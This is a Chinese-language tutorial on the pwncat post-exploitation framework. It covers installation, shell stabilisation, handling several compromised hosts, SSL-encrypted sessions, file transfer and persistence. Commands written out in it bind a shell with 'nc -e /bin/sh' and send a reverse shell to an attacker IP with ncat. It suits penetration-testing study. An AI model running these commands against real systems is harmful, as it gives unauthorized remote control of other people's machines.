工具使用-pwncat

pwncat是一个命令和控制框架，可以将基本的反向或绑定shell转化为一个功能齐全的利用平台。然后，它将尝试在远程主机上启动一个伪终端，并为您提供原始终端访问。
但pwncat不止于此。除了自动的获取全交互式终端外，pwncat还提供了一个本地Shell界面，可以用来使用自动枚举模块、自动持久化，甚至自动提权，文件上传/下载。

当在获取到一个基本的反向 shell 后，还需要做以下步骤来防止终端意外退出。

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

export TERM=xterm

stty rows 38 columns 116

当输入这几天命令后才能防止 Ctrl + C 意外结束。遇到上传/下载文件还需要使用 python 开启一个临时的 http 服务器。

而现在这些步骤都可以被 calebstewart/pwncat: Fancy reverse and bind shell handler 来自动实现。

pwncat 使用

安装

对于仅只用的，推荐下面的命令安装

python3 -m venv pwncat-env
source pwncat-env/bin/activate
pip install pwncat-cs

对于开发环境，使用这里的命令安装

# Setup pwncat inside a poetry-managed virtual environment
git clone https://github.com/calebstewart/pwncat
cd pwncat
poetry install

# Enter the virtual environment
poetry shell

bind shell 获取

首先在受害者机器输入下面的命令，这条命令会将 /bin/sh 绑定到 4444 端口

nc -lvp 4444 -e /bin/sh

接下来使用 pwncat 连接

pwncat-cs 目标ip 目标端口
pwncat-cs 192.168.99.136 4444

反向 shell 获取

在攻击机开启监听端口 4444

当在受害者连接到攻击机时，将返回 shell

此时是本地交互终端（控制台），以 local 作为标志。
这里可以切换多个控制的主机、文件上传/文件下载、模块自动利用等。

进入到被控机器

对于一台主机，可以使用 Ctrl + D 键进入被控机器，以 remote 为标志。再次按 Ctrl + D 将返回本地交互终端。

多台主机控制

首先开启监听，这将在后台监听 4444 端口的连接。

在受害者连接监听端口 4444，这样将会有两台主机。

使用 session id 的方式切换被控机

使用 listeners 可以看到正在监听的端口，此时监听的端口可以接收多台主机。

也可以使用参数来限制上线数量。使用 -c 来限制数量，这样 1234 端口将仅限被连接两次。

listen -c 2 -m linux 1234

这里可以看到，第三次连接失败了。

需要注意的使，当 pwncat 程序退出后，将丢失所有会话

开启 ssl 加密

通过 wireshark 抓包可以看到，流量是明文的

pwncat 还支持 ssl，下面将介绍开启 ssl 连接的步骤。
创建一个支持 ssl 的监听器，这将会自动创建一个自签名的 ssl 证书。

使用支持 ssl 连接的 nc 来连接目标端口。

ncat --ssl 192.168.99.136 4444 -e /bin/sh

此时与会话1的交互将是被加密的，4444 -> 33644 流量加密，1234 -> 48548 明文传输。

而会话 0 是明文连接。

文件下载/文件上传

文件下载

pwncat 使用 lcd 来切换 的目录，创建一个 pwncat-loot，使用 lcd 切换到此目录。

使用 download 下载文件将会下载到工作目录 pwncat-loot。

文件上传

将要上传的文件复制到 pwncat-loot。

使用 upload 上传到被控机器。

ssh 连接

除了正向、反向外，还支持 ssh 连接

这样就可以使用 pwncat 来管理多个 ssh 会话了

linux 权限维持自动化模块

此外 pwncat 还有一些好用的模块，可以用来权限维持。